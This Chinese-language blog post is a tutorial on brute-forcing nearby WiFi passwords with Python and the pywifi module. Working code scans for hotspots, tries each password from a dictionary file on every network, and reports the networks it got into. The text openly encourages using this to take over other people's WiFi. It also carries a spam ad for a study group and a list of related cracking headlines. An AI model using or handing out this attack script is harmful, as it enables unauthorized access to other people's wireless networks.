Python強勢破解WiFi密碼!
環境準備
python2.7
pywifi模塊
字典
清除系統中的任何wifi連接記錄
導入模塊
這裡用的模塊就這三個 pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b"OK
":判斷需要修改,不然會有很多的提示信息。
from pywifi import *
import time
import sys
字典準備
配置掃描器
推薦掃描時常可以設置在15-20秒之間 測試時常則可以自定義,考慮到認證速度於距離的關係,我一般設置在15左右,再久的也沒意義 到時候就算破解成功的熱點,信號也好不到哪裡。
想要系統學習python和免費學習資料的 可以加裙 四七四五三四九五一
掃描周圍熱點
defscans(face,timeout):
#開始掃描
face.scan()
time.sleep(timeout)
#在若干秒後獲取掃描結果
return face.scan_results()
熱點測試
這裡後續推薦將掃描過程數據入庫,防止重複掃描,且更加直觀。
deftest(i,face,x,key,stu,ts):
#顯示對應網路名稱,考慮到部分中文名嘖顯示bssid
showID= x.bssidiflen(x.ssid)>len(x.bssid)elsex.ssid
#迭代字典並進行爆破
forn,kinenumerate(key):
x.key= k.strip()
#移除所有熱點配置
face.remove_all_network_profiles()
#講封裝好的目標嘗試連接
face.connect(face.add_network_profile(x))
#初始化狀態碼,考慮到用0會發生些邏輯錯誤
code = 10
t1 = time.time()
#循環刷新狀態,如果置為0則密碼錯誤,如超時則進行下一個
while code!=0 :
time.sleep(0.1)
code = face.status()
now = time.time()-t1
if now>ts:
break
stu.write("
%-*s| %-*s| %s |%*.2fs| %-*s | %-*s%*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("
","")))
stu.flush()
if code == 4:
face.disconnect()
return "%-*s| %s | %*s |%*s
"%(20,x.ssid,x.bssid,3,x.signal,15,k)
return False
案例
這裡顯示本次測試使用了11個弱口令,並掃描到了20個熱點,然後開始坑爹的跑起來了
你以成功連入WiFi ,是不是很有趣,想不想蹭網呢。
想要系統學習python和免費學習資料的 可以加裙 四七四五三四九五一


※完全理解 Python 迭代對象、迭代器、生成器
※美女程序員帶你進入Python世界
※用 Python 進行貝葉斯模型建模 (0)
※寫給Java開發者的Python入門
※代碼這樣寫不止於優雅(Python 版)
TAG:Python |
※FBI如何破解iPhone
※Word Excel PDF密碼破解大全
※WiFiKey——破解+密碼查看
※人民需要Nintendo Switch破解
※虛擬機破解VMware Workstation
※破解Centos7 root用戶密碼
※黑客工具GrayKey誕生,可破解任意iPhone密碼
※PlayStation Classic慘遭破解 馬上能玩更多經典遊戲
※iOS 12封殺破解iPhone密碼設備!
※Python黑科技:WiFi破解,你家的WiFi又被蹭了嗎?
※Switch破解指日可待?黑客成功在Switch安裝Linux
※蘋果iOS 11淪陷:Cellebrite助力美執法部門破解大部分iPhone
※破解 iPhone 密碼這麼容易?這玩意 50 美元就能破解 iPhone
※Cellebrite:破解iPhone是為「公共安全」
※蘋果USB-C to Lightning快充線再遭破解:小心這些消費坑
※Switch破解進度迅速 已能運行Windows95
※Linux下的暴力密碼在線破解工具Hydra詳解
※破解iPhone工具GrayKey泄漏核心代碼:被勒索
※華強北破解iPhone SE2真相!
※首款破解版USB-C to Lightning轉接頭曝光